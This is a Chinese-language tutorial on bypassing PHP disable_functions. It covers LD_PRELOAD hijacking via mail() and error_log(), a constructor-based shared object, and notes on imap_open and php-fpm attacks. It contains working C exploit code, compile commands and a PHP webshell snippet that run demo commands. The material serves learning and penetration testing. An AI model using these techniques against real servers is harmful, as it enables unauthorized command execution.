LD_PRELOAD

使用条件

  • Linux操作系统
  • putenv()
  • main error_log等函数
  • 存在可写目录,需要上传.so

劫持函数

LD_PRELOAD是Linux系统的一个环境变量,用于动态库的加载,动态库加载的优先级最高,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

思路

php 启动新进程 xxx,xxx内部调用系统函数 a(),a() 位于系统共享对象 a.so 中,所以系统为该进程加载a.so,如果在 a.so 前优先加载可控的 evil.so,evil.so 内含与 a() 同名的恶意函数,由于 evil.so 优先级较高,所以,xxx 将调用到 evil.so 内的 a() 函数,而非系统的 a.so 内的 a()函数,evil.so 为用户可控,达到执行恶意代码的目的。

如果程序在运行过程中调用了某个标准的动态链接库的函数,那么我们就有机会通过 LD_PRELOAD 来设置它优先加载我们自己编写的程序,实现劫持,前提是我得控制 php 启动外部程序(调用execve fock子进程)才行(只要有进程启动行为即可,无所谓是谁,因为新进程启动将重新LD_PRELOAD)

  1. strace -f php ld_preload.php 2>&1 | grep execve #查看执行该php文件时所创建的进程

常见的PHP利用函数有mail()、error_log(),这两个函数为PHP自带,不需要安装其他扩展。

mail()

Bypassdisable_function - 图1

我们可以看到在调用mail()时,创建了新进程调用系统函数/usr/sbin/sendmail

其实这里除了第一个调用PHP解释器本身之外,还调用了/bin/sh,所以其实劫持/bin/sh调用的系统库函数也可以。

当靶机系统上没有安装sendmail时,这里劫持/bin/sh的库函数就是一个突破点

execve(执行文件)在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序。 exec函数一共有六个,其中execve为内核级系统调用,其他(execl,execle,execlp,execv,execvp)都是调用execve的库函数 execve()用来执行参数filename字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。

  1. readelf -Ws /usr/sbin/sendmail #查看/usr/sbin/sendmail可能调用的系统库函数
  2. #readelf -Ws /bin/sh

Bypassdisable_function - 图2

这里随便选择一个可能调用的函数进行劫持。比如getuid

所以我们编写exp.c

  1. #include <stdlib.h>
  2. #include <stdio.h>
  3. #include <string.h>
  4. void payload() {
  5. system("ls > /tmp/pwned");
  6. }
  7. int getuid() {
  8. if (getenv("LD_PRELOAD") == NULL) { return 0; }
  9. unsetenv("LD_PRELOAD");
  10. payload();
  11. }
  1. gcc -c -fPIC exp.c -o hack && gcc --share hack -o exp.so
  2. #如果想创建一个动态链接库,可以使用 GCC 的-shared选项。输入文件可以是源文件、汇编文件或者目标文件。
  3. #另外还得结合-fPIC选项。-fPIC 选项作用于编译阶段,告诉编译器产生与位置无关代码(Position-Independent Code);这样一来,产生的代码中就没有绝对地址了,全部使用相对地址,所以代码可以被加载器加载到内存的任意位置,都可以正确的执行。这正是共享库所要求的,共享库被加载时,在内存的位置不是固定的。

然后在webshell里放上

  1. <?php
  2. putenv("LD_PRELOAD=./exp.so");
  3. mail('','','','');

Bypassdisable_function - 图3

访问webshell后成功执行命令。

此时在我的服务器上cpu飙升到100%。直接卡死。

这是因为unsetenv()可能在Centos上无效,因为Centos自己也hook了unsetenv(),在其内部启动了其他进程,来不及删除LD_PRELOAD就又被劫持,导致无限循环,可以使用全局变量 extern char** environ删除,实际上,unsetenv()就是对 environ 的简单封装实现的环境变量删除功能。

劫持库函数时尽量找函数原型简单且常被调用的系统库函数,如getuid()getpid()

error_log

Bypassdisable_function - 图4

查看调用的系统函数

Bypassdisable_function - 图5

发现也调用了sendmail。意思和前面的一样。

mb_send_mail()

需要安装mbstring模块,利用与mail()类似

Bypassdisable_function - 图6

Bypassdisable_function - 图7

imap_mail()

需要安装imap模块,利用与mail()类似

Bypassdisable_function - 图8

先装一下模块。

Bypassdisable_function - 图9

Bypassdisable_function - 图10

除此之外还有libvirt模块的libvirt_connect()函数和gnupg模块的gnupg_init()函数,基本利用方式都是一样的,不做过多描述

非劫持函数

__attribute__

  1. __attribute__可以设置函数属性(Function Attribute)、变量属性(Variable Attribute)和类型属性(Type Attribute)
  2. __attribute__语法格式为:__attribute__ ((attribute-list)) 若函数被设定为constructor属性,则该函数会在main()函数执行之前被自动执行
  3. 类似的,若函数被设定为destructor属性,则该函数会在main()函数执行之后或者exit()被调用后自动执行
  4. 类似构造与析构函数

若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor)) 修饰的函数,所以无需考虑劫持某一函数,只要能ld_preload并执行php调用新进程,就能劫持共享对象从而bypass disable function

简单的exp

  1. #define _GNU_SOURCE
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4. #include <sys/types.h>
  5. __attribute__ ((__constructor__)) void preload (void){
  6. unsetenv("LD_PRELOAD");
  7. system("whoami > /tmp/haha");
  8. }

刚才我们说了unsetenv();在Centos上无效所以修改

  1. #define _GNU_SOURCE
  2. #include <stdlib.h>
  3. #include <stdio.h>
  4. #include <string.h>
  5. extern char** environ;
  6. __attribute__ ((__constructor__)) void preload (void)
  7. {
  8. // get command line options and arg
  9. const char* cmdline = "whoami > /tmp/haha";
  10. // unset environment variable LD_PRELOAD.
  11. // unsetenv("LD_PRELOAD") no effect on some
  12. // distribution (e.g., centos), I need crafty trick.
  13. int i;
  14. for (i = 0; environ[i]; ++i) {
  15. if (strstr(environ[i], "LD_PRELOAD")) {
  16. environ[i][0] = '\0';
  17. }
  18. }
  19. // executive command
  20. system(cmdline);
  21. }
  1. gcc -c -fPIC exp.c -o hack && gcc --share hack -o exp.so

编译。

Bypassdisable_function - 图11

可用看到这次执行一次就停止了,不会进入死循环。所以使用putenv和mail函数多用的就是这种姿势。

imap_open

这个bug是https://bugs.php.net/bug.php?id=76428

利用

php imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)

因为ssh命令中可以通过设置-oProxyCommand=来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞

注意:需要php.iniimap.enable_insecure_rsh= On

我们开一个ubuntu的虚拟机做实验

首先还是安装imap拓展,再修改imap.enable_insecure_rsh= On

Bypassdisable_function - 图12

但是不知道是环境问题还是什么,我这里并没有复现成功。

攻击php-fpm/FastCGI绕过

  • Linux操作系统
  • putenv()
  • mailorerror_log

这里直接贴p神写的打php-fpm

其他还不是很常见,看一下这个文章

https://clq0.top/bypass-disable_function-php/#user_filter